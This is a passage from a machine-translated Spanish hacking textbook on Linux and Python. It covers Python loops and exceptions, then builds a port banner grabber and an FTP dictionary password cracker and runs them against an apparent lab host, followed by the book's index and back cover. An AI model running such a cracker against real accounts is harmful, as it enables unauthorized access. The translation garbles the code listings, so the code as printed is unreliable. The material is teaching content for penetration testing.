contraseñas que repita cada contraseña almacenada en un diccionario hasta que una
funcione o hasta que el descifrador llegue al final del diccionario.

La sintaxis para crear un diccionario es la siguiente:

dict = {clave1:valor1, clave2:valor2 , clave3:valor3...}

Tenga en cuenta que para los diccionarios, use corchetes y elementos separados
con una coma Puede incluir tantos pares clave-valor como desee.

Declaraciones de control
Las declaraciones de control permiten que su código tome decisiones basadas en
alguna condición. Hay varias formas en Python para controlar el flujo de la secuencia
de comandos.
Veamos algunas de estas estructuras en Python.

La declaración si
Machine Translated by Google

La estructura if en Python, como en muchos otros lenguajes de programación,


incluido bash, se usa para verificar si una condición es verdadera o no y
ejecutar diferentes conjuntos de código para cada escenario. La sintaxis se ve así:

si la expresión condicional
ejecuta este código si la expresión es verdadera

La declaración if contiene una condición que podría ser algo así como si la variable < 10, por
ejemplo. Si se cumple la condición, la expresión se evalúa como verdadera y luego se ejecuta el
código siguiente, conocido como bloque de control. Si la declaración se evalúa como falsa, entonces
las declaraciones en el bloque de control se saltan y no se ejecutan.

En Python, el bloque de control debe estar sangrado. Esta sangría identifica


el bloque de control para el intérprete. La siguiente declaración que no tiene
sangría está fuera del bloque de control y, por lo tanto, no forma parte de la
declaración if , y así es como Python sabe dónde saltar si no se cumple la
condición.

si... más
La estructura if...else en Python se ve así:

si expresión condicional
*** # ejecutar este código cuando se cumpla la condición *** #
ejecutar este código cuando no se cumpla la condición

Como antes, primero el intérprete verifica la condición en la expresión if .


Si se evalúa como verdadero, el intérprete ejecuta las declaraciones en el
bloque de control. Si la sentencia condicional se evalúa como falsa, en su lugar
se ejecuta el bloque de control que sigue a la sentencia else .
Por ejemplo, aquí tenemos un fragmento de código que verifica el valor de
una ID de usuario; si es 0 (el usuario root en Linux siempre es UID 0),
imprimimos el mensaje "Eres el usuario root". De lo contrario, si es cualquier
otro valor, imprimimos el mensaje "NO eres el usuario root".

if userid == 0
print ("Usted es el usuario root")
else print ("Usted NO es el usuario
root")
Machine Translated by Google

Bucles

Los bucles son otra estructura muy útil en Python. Los bucles permiten al
programador repetir un bloque de código varias veces, según un valor o una
condición. Los dos más utilizados son while y for.

El bucle while El

bucle while evalúa una expresión booleana (una expresión que solo puede
evaluarse como verdadera o falsa) y continúa la ejecución mientras la expresión
se evalúa como verdadera. Por ejemplo, podríamos crear un fragmento de código
que imprima cada número del 1 al 10 y luego salga del bucle, así:

contar = 1
while (contar <= 10):
imprimir (contar)
contar += 1

El bloque de control sangrado luego se ejecuta mientras la condición sea


cierto.

El bucle for El

bucle for puede asignar valores de una lista, cadena, diccionario u otra estructura
iterable a una variable de índice cada vez que pasa por el bucle, lo que nos
permite usar cada elemento de la estructura uno tras otro. Por ejemplo, podemos
usar un bucle for para intentar contraseñas hasta que encontremos una
coincidencia, así:

para contraseña en contraseñas:


intento = conectar (nombre de usuario, contraseña)

si intento == "230"

imprimir ("Contraseña encontrada:+" contraseña)

salida del sistema (0)

En este fragmento de código, creamos una instrucción for que continúa a


través de una lista de contraseñas que proporcionamos e intenta conectarse con
un nombre de usuario y una contraseña. Si el intento de conexión recibe un código 230,
Machine Translated by Google

que es el código para una conexión exitosa, el programa imprime "Contraseña


encontrada:" y luego la contraseña. Luego sale. Si no obtiene un 230, continuará con
cada una de las contraseñas restantes hasta que reciba un 230 o hasta agotar la lista
de contraseñas.

Mejorando nuestros scripts de piratería


Ahora, con un poco más de experiencia en las estructuras de bucle de Python y las
declaraciones condicionales, volvamos a nuestro script de captura de pancartas y
agreguemos algunas capacidades.
Agregaremos una lista de puertos de los que queremos tomar el banner, en lugar
de solo escuchar en un puerto, y luego recorreremos la lista usando una instrucción
for . De esta forma, podemos buscar y capturar banners para múltiples puertos y
mostrarlos en la pantalla.
Primero, creemos una lista y coloquemos puertos adicionales en ella. Abra
HackersAriseSSHBannerGrab.py y trabajaremos a partir de ahí. El listado 17-5 muestra
el código completo. Tenga en cuenta que las líneas atenuadas se han mantenido igual;
las líneas negras son las que necesita cambiar o agregar. Intentaremos capturar
banners para los puertos 21 (ftp), 22 (ssh), 25 (smtp) y 3306 (mysql).

#! /usr/bin/python3

enchufe de importación

ÿ Puertos = [21,22,25,3306]

ÿ para i en rango (0,4):

s = socket.socket()

ÿ Puertos = Puerto[i]

print ('Este es el estandarte del puerto')

imprimir (Puertos)

ÿ en conexión (("192.168.1.101", Puerto))

respuesta = s.recv (1024)

imprimir (respuesta)

cerrar ()
Machine Translated by Google

Listado 17-5: Mejorando el capturador de banners

Creamos una lista llamada Puertos ÿ y agregamos cuatro elementos, cada uno de los
cuales representa un puerto. Luego creamos una declaración for que itera a través de
esa lista cuatro veces, ya que tiene cuatro elementos ÿ.
Recuerda que cuando usas un bucle for , el código asociado
con el bucle debe estar sangrado debajo de la instrucción for .
Necesitamos modificar el programa para reflejar el uso de una variable de la lista en
cada iteración. Para hacerlo, creamos una variable llamada Puerto y la asignamos al
valor de la lista en cada iteración ÿ. Luego usamos esa variable en nuestra conexión ÿ.

Cuando el intérprete llega a esa afirmación, intentará


conectarse a cualquier puerto asignado a la variable en la dirección IP.
Ahora, si ejecuta este script en un sistema con todos los puertos enumerados abiertos
y habilitados, debería ver algo como el Listado 17-6.

kali >./HackersArisePortBannerGrab.py Este es el


Banner para el Puerto 21 220 (vsFTPd 2.3.4)

Este es el banner para el puerto 22


SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1

Este es el banner para el puerto 25 220


metasploitable.localdomain ESMTP
Postfix (Ubuntu)

Esta es la pancarta del puerto 3306


5.0.51a-3ubuntu5

Listado 17-6: Salida para port banner grabber

Tenga en cuenta que el script encontró el puerto 21 abierto con vsFTPd 2.3.4
ejecutándose en él, el puerto 22 abierto con OpenSSH 4.7 ejecutándose en él, el puerto
25 con Postfix y el puerto 3306 con MySQL 5.0.51a.
Acabamos de crear con éxito una herramienta de captura de pancartas multipuerto en
Python para realizar el reconocimiento en un sistema de destino. La herramienta nos dice
Machine Translated by Google

¡Qué servicio se está ejecutando en el puerto y la versión de ese servicio!


Esta es información clave que un hacker necesita antes de proceder con un ataque.

Excepciones y descifradores de contraseñas

Cualquier código que escriba correrá el riesgo de errores o excepciones. En


términos de programación, una excepción es cualquier cosa que interrumpe el
flujo normal de su código, generalmente un error causado por un código o entrada incorrecta.
Para lidiar con posibles errores, usamos el manejo de excepciones, que es
simplemente un código que maneja un problema en particular, presenta un mensaje
de error o incluso usa una excepción para la toma de decisiones. En Python,
tenemos la estructura try/except para manejar estos errores o excepciones.
Un bloque de prueba intenta ejecutar algún código, y si ocurre un error, la
declaración de excepción maneja ese error. En algunos casos, podemos usar la
estructura try/except para la toma de decisiones, similar a if...else. Por ejemplo,
podemos usar try/except en un descifrador de contraseñas para probar una
contraseña y, si ocurre un error debido a que la contraseña no coincide, pasar a la
siguiente contraseña con la instrucción excepto . Probemos eso ahora.
Ingrese el código en el Listado 17-7 y guárdelo como ftpcracker.py; lo
revisaremos en un momento. Este script le pide al usuario el número de servidor
FTP y el nombre de usuario de cualquier cuenta FTP que deseen descifrar. Luego
lee un archivo de texto externo que contiene una lista de posibles contraseñas y
prueba cada una en un esfuerzo por acceder a la cuenta de FTP.
El script hace esto hasta que tiene éxito o se queda sin contraseñas.

#! /usr/bin/python3

importar ftplib

ÿ servidor = entrada(Servidor FTP: ")

ÿ usuario = entrada ("nombre de usuario:")

ÿ Lista de contraseñas = entrada ("Ruta a la lista de contraseñas >")

ÿ intente:

con abierto (Lista de contraseñas, 'r') como pw:


Machine Translated by Google

para la palabra en pw:

ÿ palabra = palabra.strip ('\r').strip('\n')

ÿ intente:

ftp = ftplib.FTP(servidor)

ftp.login(usuario, palabra)

'
ÿ imprimir (¡Éxito! La contraseña es + palabra)

ÿ excepto:

print('todavía intentando...')

excepto:

imprimir ('Error de lista de palabras')

Listado 17-7: Script Python para descifrar contraseñas de FTP

Vamos a usar herramientas del módulo ftplib para el protocolo FTP, así que primero
importamos eso. A continuación, creamos una variable con el nombre de servidor y otra
variable con el nombre que almacenará algunos
usuario.
usuario quecomandos
Su secuencia
ingrese la para elde
usuario,
dirección comandosla entrada
le pedirá
IP del servidor delÿal
FTP
y el nombre de usuario de la cuenta ÿ que el usuario está tratando de ingresar.

Luego le pedimos al usuario la ruta a la lista de contraseñas ÿ. Puede encontrar


numerosas listas de contraseñas en Kali Linux ingresando localizar lista de palabras en
una terminal.

Luego comenzamos el bloque de código de prueba que utilizará la lista de contraseñas


proporcionada por el usuario para intentar descifrar la contraseña del nombre de usuario
proporcionado por el usuario.

Tenga en cuenta que usamos una nueva función de Python llamada strip() ÿ. Esta
función elimina el primer y último carácter de una cadena (en este caso, la lista de
contraseñas). Esto es necesario si las contraseñas de esta lista tienen un espacio en
blanco o una coma al principio. La función strip() los elimina y deja solo la cadena de
caracteres de la contraseña potencial. Si no eliminamos los espacios en blanco, podríamos
obtener un falso negativo.
Machine Translated by Google

Luego, usamos un segundo bloque try ÿ. Aquí, usamos el módulo ftplib para conectarnos
primero al servidor usando la dirección IP que proporcionó el usuario y luego probar la siguiente
contraseña de la lista de contraseñas en esa cuenta.
Si la combinación del nombre de usuario y la contraseña da como resultado un error, el
bloque sale y va a la cláusula de excepción ÿ, donde se imprime aún intentándolo y luego
regresa a la parte superior de la cláusula for y toma la siguiente contraseña de la lista de
contraseñas para intentarlo. .
Si la combinación tiene éxito, la contraseña exitosa se imprime en la pantalla ÿ. La línea
final recoge cualquier otra situación que de otro modo daría lugar a errores. Un ejemplo sería si
el usuario ingresa algo que el programa no pudo procesar, como una ruta incorrecta a la lista
de palabras o una lista de palabras faltante.

Ahora, ejecutemos este script contra el servidor FTP en 192.168.1.101 y veamos si


podemos descifrar la contraseña del usuario root. Estoy usando una lista de contraseñas
llamada bigpasswordlist.txt en mi directorio de trabajo. Es posible que deba proporcionar la ruta
completa a cualquier lista de contraseñas que esté utilizando si no está en su directorio de
trabajo (por ejemplo, /usr/share/bigpasswordlist.txt).

kali >./ftpcracker.py
Servidor FTP: 192.168.1.101
nombre de usuario: ruta raíz a
PasswordList >bigpasswordlist.txt todavía
intentando... todavía intentando... todavía
intentando...

--recorte--

¡Éxito! la contraseña es demasiado

Como puede ver, ftpcracker.py encontró con éxito la contraseña para el


usuario root y lo presentó en pantalla.

Resumen
Para graduarse más allá del estado de script-kiddie, un pirata informático debe dominar un
lenguaje de secuencias de comandos, y Python es generalmente una buena primera opción para su
Machine Translated by Google

Versatilidad y curva de aprendizaje relativamente pequeña. La mayoría de las herramientas de


piratería están escritas en Python, incluidas sqlmap, scapy y muchas otras.
Aquí, ha aprendido algunos conceptos básicos de Python que puede usar para crear algunas
herramientas de piratas informáticos útiles pero simples, que incluyen un capturador de
pancartas y un descifrador de contraseñas de FTP. Para obtener más información sobre
Python, recomiendo encarecidamente el excelente libro de No Starch Press Automate the
Boring Stuf with Python (2015) de Al Sweigart.

EJERCICIOS

Pruebe las habilidades que aprendió en este capítulo completando los siguientes ejercicios:

1. Cree la herramienta de captura de banner SSH del Listado 17-5 y luego edítela para hacer una captura de
banner en el puerto 21.

2. En lugar de codificar la dirección IP en el script, edite su captura de banner


herramienta para que solicite al usuario la dirección IP.

3. Edite su tcp_server.py para solicitar al usuario el puerto en el que escuchar.

4. Cree el FTPcracker en el Listado 17-7 y luego edítelo para usar una lista de palabras para la variable del
usuario (similar a lo que hicimos con la contraseña) en lugar de pedirle al usuario que ingrese.

5. Agregue una cláusula de excepción a la herramienta de captura de pancartas que imprima "sin respuesta" si el
el puerto está cerrado.
Machine Translated by Google

ÍNDICE

Símbolos y Números
""" (comentario) caracteres,
190 # (comentario) carácter, 83
#! (shebang) caracteres, 82 --
help comando, 8–9 -? (ayuda)
comando, 9 -h (ayuda) comando,
8–9 . (ejecutar) comando, 84,
90 .. (subir nivel) opción de
comando, 7 / (avanzar) comando, 25
Tipos de CPU de 32 bits/64 bits, xxv :
(devolver verdadero) comando, 84, 90
[ ( prueba condicional) comando, 91

A
acceso. Véase también red de
permisos, 31, 32 bases de
datos remotas, 132–133 internet
restringida, 148–149 listas de
acceso. Consulte también listas de
palabras, 125 puntos de acceso (AP), 31, 154, 155–
156, 157 Herramienta de empaquetado avanzada
(apt), 40–44 aircracking suite, 9, 157–159 comando
aireplay-ng , 159
Machine Translated by Google

comando airmon-ng , 157–


158 comando airodump-ng ,
158–159 anonimato
Seguimiento de direcciones IP, 140–
141 con servidores proxy, 143–148
con red Tor, 141–143 con VPN, 148–
149

Servicio de servidor web Apache, 122–125 apt


(herramienta de empaquetado avanzada), 40–44
comando apt-cache , 40 comando apt-get , 40–
43 archivado, 94–96, 115

arquitectura ARM, arreglos

xxvi, 191 at daemon, 69


montaje automático, 106

B
procesos en segundo plano, 68–69
tarea de programación de copia de
seguridad, 176–177 tabla de bloques

defectuosos, 108 captura de banners, 194–195,


199–201 banners, 194 comandos comunes de

bash (Bourne-again shell), 90–91 descripción


general, 2, 4 , 72, 82

Bcast (dirección de
transmisión), comando 30 bg
(fondo), 90 directorios /bin, 5, 76
binarios
Machine Translated by Google

definido, 2
en sistema de archivos Linux,
5 comandos de búsqueda, 10

BIND (Berkeley Internet Name Domain), 34 piratas informáticos


de sombrero negro, 86 dispositivos de bloque, 105–106

Bluetooth, 159–164
descripción general, 159–
160 escaneo, 160–164
Sitio Bluetooth SIG, 162

pila de protocolos BlueZ, 160–161


cargador de arranque, comando de

interrupción xxxiv , 90 cambio de


dirección de transmisión, 32 información,

30 opción de comando de
transmisión , 32

BSSID (identificador de conjunto de servicios básicos), 154, 158–


159 Comando bunzip2 , 97

Mayordomo, Max “Max Vision”, 86–87

Comando bzip2 , 97

C
distinción entre
mayúsculas y minúsculas, comando 2 cat (concatenación),

comando 13–14, 22, 167 cd (cambio de directorio), 7 canales


(CH), Wi-Fi, dispositivos de 154, 158, 158–159 caracteres,
105 chgrp (cambio de grupo) comando, 51 comando chmod

(modo de cambio), 52–55, 56, 58


Machine Translated by Google

comando chown (cambiar propietario),


50 clases y subclases, 193–194 directorios
de comandos, 76–77 interfaz de línea de
comandos (CLI), 2 caracteres de
comentario, 83, 190 comando de
compresión , 97 compresión, 93–94, 96–
97 concatenación, 13–14, 22, 67 archivos
de configuración, 5 método de conexión ,
194–195 comando de continuación , 90
instrucciones de control, 197–199
comandos de copia bit a bit, 98–99
archivo, 15 comando cp (copiar archivo),
15

Tipos de CPU,
comando xxv createuser , 137
daemon cron , 174 tabla cron,
174–178 comando crond , 69,
174 comando crontab , 175–
176

D
demonios, 32, 69
web oscura, 142
bases de datos. Véase también piratería de
bases de datos MySQL, 87, 130 Comando
db_status , 137 Comando dd , 98–99
Machine Translated by Google

distribución de Debian, xxv

copia de archivos eliminados,


98–99 ataques de denegación de servicio
(DoS), 31 comando de descripción , 134

directorio /dev, 102–106 controladores de


dispositivos, como objetivo de piratería, 171
comando df (disco libre), 107– 108 comando
dhclient , 33 daemon dhcp , 32 solicitud
DHCPDISCOVER , 33 solicitud DHCPOFFER ,
33 servidores DHSCP, 32–33, 35 declaración
dict , 197 diccionarios, 197 comando dig , 33–
34 directorios. Véase también cambio de
sistemas de archivos, 7 creación, 15 sistema
de archivos Linux, 5 enumeración de contenido,
7–8, 51–52 asignación de nombres, 2 y

variable PATH , 76–77 permisos, 51–52


trabajo actual, 6 eliminación, 16 búsqueda,
11–12 espacio en disco, xxix, 107–108
comando dmesg , 171 DNS (Sistema de
nombres de dominio), 33–35 cambio de
servidores, 34–35 información, 33–34
Machine Translated by Google

espionaje, 150, 166 comando


echo , 35, 83, 90 servicios de
cifrado de correo electrónico, 150
correo electrónico cifrado, 150 con
VPN, 149 seguridad inalámbrica
(ENC), 158 comando env
(entorno), 72 variables de entorno.
Véase también variables de shell

cambio de valores, 73–74


directorios de comandos, 76–77
conceptos, 71–72 indicador de
shell, 75–76 definido por el usuario,
77–78 visualización, 72–73
espionaje, xxiii, 141, 148, 149
ESSID (identificador de conjunto de
servicios extendidos ), 154, 158–159 Archivo /etc/apt/sources.list,
43 Archivo /etc/crontab, 174–176 Directorio /etc, 5 Archivo /etc/
fstab, 107 Archivo /etc/hosts, 36 /etc/init Archivo .d/rc, 179 Archivo /
etc/logrotate.conf, 115–117 Archivo /etc/proxychains.conf, 144
Archivo /etc/resolv.conf, 34–35 Archivo /etc/rsyslog.conf, 112–115 /
archivo etc/shadow, 57 archivo /etc/sysctl.conf, 167, 168 interfaz
eth0 , 30
Machine Translated by Google

piratería ética, xxii–xxiii


comando eval (evaluar expresión), 90 manejo
de excepciones, 201 comando exec , 90
permisos de ejecución, 55–56, 57–58, 83–84
comando de salida , 90 exploits, 196–197
comando de exportación , 74, 75–76, 90

F
utilidad fdisk , 104
comando fg (en primer plano), 68–69, 90
contenido del archivo. Ver texto

tipos de archivos,
104–105 archivos. Véase
también archivos de
registro; archivar texto,
94–96 comprimir, 96–97
copiar, 15, 97–98 crear,
13–15 enumerar, 7–8,
51–52 mover, 15–16
nombrar, 2 propiedad,
50–51 eliminar, 16
renombrar, 15–16
búsqueda, 10–12
sistemas de archivos
Estructura de Linux, 4–5
supervisión, 107–109
navegación, 6–8
búsqueda, 9–12
Machine Translated by Google

dispositivos de almacenamiento en, 102–


106, 107 filtrado con palabras clave, 12–13, 22–23, 63–64, 73
comando de búsqueda , 11–12, 59 unidades flash, 104–105,
106 bucle for , 199 frecuencia, Wi- Fi, 154 comando fsck

(comprobación del sistema de archivos), 108–109 módulo ftplib,


201–202

GRAMO

comando getopts ,
91 comando git clon , 46–
47 github, 46
Seguimiento de Internet de Google, 140
Grand Unified Bootloader (GRUB), xxxiv–xxxv hackers de

sombrero gris, 86–87 comando grep , 12–13, 22, 24, 63, 73

GRUB (Gran cargador de arranque unificado), comando gzip


xxxiv–xxxv , 96–97

H
piratería
maliciosa, 86–87
como profesión, xxi–xxiii y
habilidades de secuencias de
comandos, 183 particiones del disco
duro, xxxiii comando hciconfig ,
161 comando hcidump , 161
comando hcitool , 161–162
Machine Translated by Google

comando head (ver archivo), 20–21, 23


comandos de ayuda, 8–9 cambio de archivo
oculto, 8 tamaño de archivo de historial, 73–

74 variable HISTSIZE (archivo de historial),


73 directorio de inicio, 2, 5 archivo de hosts,
36 código html ejemplo, 124–125 HTTP frente
a Torrent, xxv–xxvi HWaddr. Ver dirección

MAC

I
IDE (entornos de desarrollo integrado), 187 sentencia if ,
197–198 comando ifconfig , 29–30, 31–32, 154–155
sentencia if...else , 198 sentencia import , 192 archivo
index.html, 124–125 daemon init , 179 suite insmod
(módulo de inserción), 169 reenvío de IP, 168–169
análisis de direcciones IP (Protocolo de Internet), 29–30
cambio, 31 asignación de nombres de dominio, 36
solicitud de nuevos, 32–33 script de escáner, 87–88
seguimiento, 140 –141 extensión de archivo .iso, listas
iterables xxx, 191
Machine Translated by Google

comando iwconfig , 30–31, 155,


157 comando iwlist , 155–156

j
programación de trabajos, 173–178

comando de trabajos , 91

PARA

Escritorio Kali, 3–5


descargas, instalación xxv–

xxvi, inicio de sesión xxix–xxxi,

descripción general xxxv–


xxxvi, configuración 2, kernel

xxxi–xxxv, 62, 165–166, 167–

169 módulos kernel. Véase también

módulos del kernel cargables, 166, 169–171 Declaraciones KEY , 72 comando kill , 67–68

señales kill, 67 comando killall , 67–68

I
comando l2ping , 163–164
herramientas LAMP, 123

comando menos , 25–26

directorio /lib, 5 bibliotecas, 5


Machine Translated by Google

linux

ventajas de, xxiv


mayúsculas y minúsculas,
2 distribuciones, xxv
niveles de ejecución,
179 LKM. Consulte la información de módulos de kernel
cargables (LKM) lo (dirección de bucle invertido), 30
módulos de kernel cargables (LKM). Consulte también los módulos del núcleo, 166, 169–
171, 171–172
localhost, 30
comando de localización ,

10 archivos de registro,
115–118 rotación, 115–
117 trituración, 117–118
conceptos de sistemas de
registro, 111 configuración
y reglas, 112–115 desactivación, 118–119
verificación de inicio de sesión, 6 utilidad
logrotate , 115–117 dirección de bucle
invertido, 30 bucles, 198–199 compresión con
pérdida frente a sin pérdida, 94 comando ls
(lista), 7–8, 51–52 comando lsblk (bloque de
lista), 105–106 comando lsmod (módulos de
lista), 169

METRO

visualización de

direcciones MAC, 30, 156

suplantación de identidad, 32
Machine Translated by Google

ataques man-in-the-middle (MITM), 166, 168 comando


man (manual), 9, 23 modo administrado, 31 páginas
del manual, 9 Información de máscara , 30 modo
maestro, 155 directorio /media, 5, 106–107 mensaje
Inicio sesión. Ver sistemas de registro Metasploit,
63, 136–137 métodos, 193–194, 195 piratería militar,
xxiii Ataques MITM (man-in-the-middle), 166, 168
comando mkdir (hacer directorio), 15 directorio /mnt,
5, 106 dispositivos móviles, xxiv–xxv, xxvi comando
modinfo , 170 comando modprobe , 169, 170–171
modo monitor, 155, 157–158 comando más , 25
puntos de montaje, 106 dispositivos de montaje/
desmontaje, 106–107 mv (mover/renombrar )
comando de archivo, 16 bases de datos MySQL,
130–135 acceso, 132–133 conexión a, 133–134
información, 131–132 tablas, 134–135 Ejemplo de
código de secuencia de comandos de MySQL
Scanner, 87–90 programación, 177–178 servicio
mysql , 130 –135
Machine Translated by Google

norte

servidores de nombres,
33–35 Agencia de Seguridad Nacional (NSA), 139,
143 opción de comando de máscara de red , 32
tarjetas de red, 155, 157 secuencias de comandos
de conexión de red, 194–197 sistema de detección
de intrusos en la red (NIDS), 19 administrador de red,
156 cambio de máscara de red, 32 pantallas, 30 redes.
Véase también análisis de redes Wi-Fi, 29–31 cambio
de información, 31–33 módulo nfnetlink , 169
comando nice (prioridad del proceso), 65–66 NIDS
(sistema de detección de intrusos en la red), 19 comando
nl (líneas numéricas), 22, 23 Comando nmap
(mapa de red), 86, 87–88 Comando nmcli (interfaz
de línea de comandos del administrador de red), 156

programación orientada a objetos (OOP), 192–194


objetos, 193–194, 195 dígitos octales, 53
direcciones .onion, 142 sistema Onion Router, 141–143
OOP. Consulte el código fuente abierto de programación
orientada a objetos (POO), xxiv, xxv
Machine Translated by Google

Servicio OpenSSH, 125–126

PAGS

reenvío de paquetes, 168–169


emparejamiento Bluetooth, 160
particiones definidas, xxxiii sistema
de etiquetado, 103–104
comando passwd , 4 cambio de
contraseñas, 4 descifrado, 31, 159,

201–203 usuario root, xxxii–xxxiii, 132–


133

PATH variable, 76–


77 pruebas de penetración,
xxiii permisos, 49–59
cambiar, 52–57
verificar, 51–52
conceptos, 49–50
otorgar, 50–51, 83–84
especial, 57–59
PID (ID de proceso), 62, 63

administrador de pip (paquetes de instalación de pip), 184–


185 canalización, 12–13 puertos secuencia de comandos
de captura de banner, 199–201 conexión a, 194–195
escaneo, 86–90

Bases de datos PostgreSQL (Postgres), 135–137 servicio


postgresql , 136–137 alimentación (PWR) y Wi-Fi, 154,

158, 158–159
Machine Translated by Google

registro
de mensajes prioritarios, 114–
115 procesos, 64–66
escalada de privilegios, 58 /proc/
archivo de versión, 167 ID de
proceso (PID), 62, 63 procesos,
61–69 fondo y primer plano, 68–
69 conceptos, 61–62 información on,
12–13, 62–64 matar, 66–68 gestionar
la prioridad de, 64–66 programar, 69
archivo .profile, 57 modo promiscuo, 31
propiedades, 193 ProtonMail, 150
servidores proxy, 143–148 elegir, 148
conceptos, 143–144 configuración, 144–148
comando proxychains , 143–148 comando
ps (procesos), 12–13, 62–63 variable PS1
(indicador de shell), 75–76 PSK (clave
precompartida), 154 pwd (presente directorio
de trabajo) comando, 6 comentarios del
lenguaje Python, 190 funciones, 190–
191 instalación, 184–186 aprendizaje,
183–184, 187, 203 listas, 191–192
Machine Translated by Google

módulos, 192
variables, 187–190
Índice de paquetes de Python (PyPI), 184

R
Arquitectura
Raspberry Pi, xxvi
Proyecto de espionaje, 125–129

sistema operativo Raspbian, 126, 129


aplicación raspistill , 129 scripts rc, 178–
180 herramienta rcconf, 180–181 comando
de lectura , 85, 91 comando de solo
lectura , 91 reconocimiento, 160–164, 197
comando renice , 65, 66 repositorios, 40,
43–44, 185 uso de recursos, 64 comando
rm (eliminar), 16 comando rmdir (eliminar
directorio), 16 comando rmmod (eliminar
módulo), 169 directorio /root, 5

usuario raíz

definido, 2
contraseñas, xxxii–xxxiii, 130–131, 132
privilegios, 5, 6, 50, 65, 66 rootkits, 166, 171
rsyslog daemon, 112, 119 niveles de ejecución,
179
Machine Translated by Google

S
directorios /sbin, 76
programar con at, 69
con crond, 174–
178 al inicio, 178–181
variables de script,
84–85, 89 conceptos de
scripts, 2, 81 ejemplos, 86–
90 ejecutar (ejecutar),
83–84 programar , 174–
178 escritura, 82–85 SDP
(Protocolo de descubrimiento
de servicios), 163 comando
sdptool , 163 seguridad. Véase también
permisos y módulos de kernel cargables,
171–172 y vigilancia, 142–143, 148, 149
protocolo Wi-Fi, 154 comando sed (editor
de flujo), 23–24 comando SELECT , 135
comando de servicio , 119, 122 Protocolo
de detección de servicios (SDP), 163 servicios

definido, 121
programación al inicio, 179–181
iniciar, detener, reiniciar, 122
establecer comando, 72–73, 91 SGID bit,
58–59 extensión de archivo .sh, 85
shebang (#!), 82
Machine Translated by Google

indicador de shell, 75–


76 variables de shell,
71–72 shells, 2, 82
comando shift , 91
comando show , 134
comando shred , 117–118
Snort, 19–20, 20 módulo de
socket , 194–196
administradores e instaladores de software, 40 ,
45–46 paquetes de software definidos, 39
instalación, 40–41 eliminación, 41–42
actualización y mejora, 42–43 archivo
source.list, 43–44 proyecto de cámara espía,
125–129 comandos SQL (lenguaje de consulta
estructurado), 131 SSH (Secure Shell), 125–126
SSID (identificador de conjunto de servicios), 154
bit de permiso de sticky bit, 58 dispositivos de
almacenamiento, 102–109 monitoreo y verificación, 107–
109 montaje y desmontaje, 106–107 representación de,
102–106 tira () función, 202 comando su (cambiar de
usuario), 136 bit SUID , 57–59 problemas de vigilancia, 142–
143, 148, 149 Administrador de paquetes Synaptic, 45–
46 comando sysctl , 167–169 daemon syslogd , 112
Machine Translated by Google

administrador de sistema. Ver usuario root

comando tail (ver archivo), 21–22, 23


comando tar (archivo), 94–96 extensión
de archivo .tar, 95 tarballs/archivos tar,
94–96 script de cliente TCP, 194–195
escaneo de conexión TCP, 86, 88– 90
Guión de escucha TCP, 195–197
terminales, 2, 4, 68 comando de prueba ,
91

texto

concatenar a archivo, 13–14


mostrar, 20–23, 24–26 buscar y
reemplazar, 23–24 editores de
texto, 82, 187 extensión de archivo .tgz,
96 veces comando, 91 comando
superior (uso de recursos), 64, 66 Tor
red, 141–143 descargas de torrent, xxv–xxvi
comando táctil , 14–15 comando traceroute ,
140 comando trap , 91 sentencias try/
except , 201–202 comando type , 91

tu
Machine Translated by Google

Sintaxis UGO (usuario, grupo y otros), 54–55 valores umask


(desenmascarar), 56–57, 91 comando umount (desmontar),

107 comando uname , 167 comando uncompress , 97


comando unset , 72–73, 78, 91 comando update-rc.d , 179

unidades flash USB, 104–105, 106 comando de uso , 134

variables definidas por el usuario, 77–78 terreno de usuario,

165 tipos de usuario, 50

V
variables Ver también variables de entorno

Python, 187–190 script,


84–85, 89 shell, 71–72
máquinas virtuales,

conceptos e instalación, xxvi–xxvii redes privadas virtuales (VPN), 148–

149
caja virtual

instalación y configuración, xxvi–xxix


instalación de Kali en, xxix–xxxi
software de virtualización, xxxi

VPN (redes privadas virtuales), 148–149 evaluaciones

de vulnerabilidad, xxiii

EN

comando de espera , 91
Machine Translated by Google

servicios de servidor web, 122–125


Protocolo WEP (privacidad equivalente por cable), 154
comando wget , 185–186 comando whereis , 10 comando
which , 10 bucles while , 198 piratería de sombrero
blanco, xxiii comando whoami , 6

Redes wifi, 154–159


comandos básicos, 154–157
piratería, 157–159 comodines,
12 Windows vs. Linux, xxiv–xxv, 101
dispositivos de red inalámbrica, 30–31,
153 alcance inalámbrico, 154 interfaz wlan0 ,
30, 31, 155 listas de palabras, 27, 159 , 202
Protocolo WPA (Acceso protegido Wi-Fi),
154 Protocolo WPA2-PSK, 154

CON

procesos zombies, 66, 67


Machine Translated by Google

¿ASPIRANTE HACKER? EMPIEZA AQUI.

CUBIERTAS KALI LINUX Y PYTHON 3

Si se está iniciando en el emocionante camino de la piratería, la ciberseguridad y las


pruebas de penetración, Linux Basics for Hackers es un excelente primer paso. Con Kali
Linux, una distribución avanzada de prueba de penetración de Linux, aprenderá los
conceptos básicos del uso del sistema operativo Linux y adquirirá las herramientas y
técnicas que necesitará para tomar el control de un entorno Linux.

Primero, aprenderá cómo instalar Kali en una máquina virtual y obtendrá una introducción
a los conceptos básicos de Linux. A continuación, abordará temas más amplios de
Linux, como la manipulación de texto, el control de permisos de archivos y directorios y
la gestión de variables de entorno de usuario. Luego, se concentrará en los conceptos
fundamentales de la piratería, como la seguridad y el anonimato, y aprenderá habilidades
de secuencias de comandos con bash y Python.

Los tutoriales y ejercicios prácticos reforzarán y pondrán a prueba sus habilidades a


medida que aprenda a:
Machine Translated by Google

• Cubre tus huellas cambiando la información de tu red y manipulando la utilidad de


registro rsyslog

• Escribir una herramienta para buscar conexiones de red y conectarse y escuchar redes
inalámbricas

• Mantenga su actividad en Internet sigilosa usando Tor, servidores proxy, VPN y correo
electrónico encriptado

• Escribir un script bash para escanear puertos abiertos en busca de objetivos

potenciales. • Usar y abusar de servicios como MySQL, servidor web Apache y


OpenSSH

• Cree sus propias herramientas de piratería, como una cámara espía de video remota y un
descifrador de contraseñas

La piratería es compleja y no hay una sola forma de entrar. ¿Por qué no empezar por el principio
con Linux Basics for Hackers?

SOBRE EL AUTOR
OccupyTheWeb es consultor de seguridad informática, investigador forense y capacitador con
más de 20 años en la industria. Mantiene el sitio de capacitación Hackers-Arise (https://
www.hackers-arise.com/) y capacita al personal militar de EE. UU., a los contratistas del
Departamento de Defensa y a los empleados federales en seguridad de la información y piratería
informática.

LO MEJOR EN ENTRETENIMIENTO GEEK™

www.nostarch.com

También podría gustarte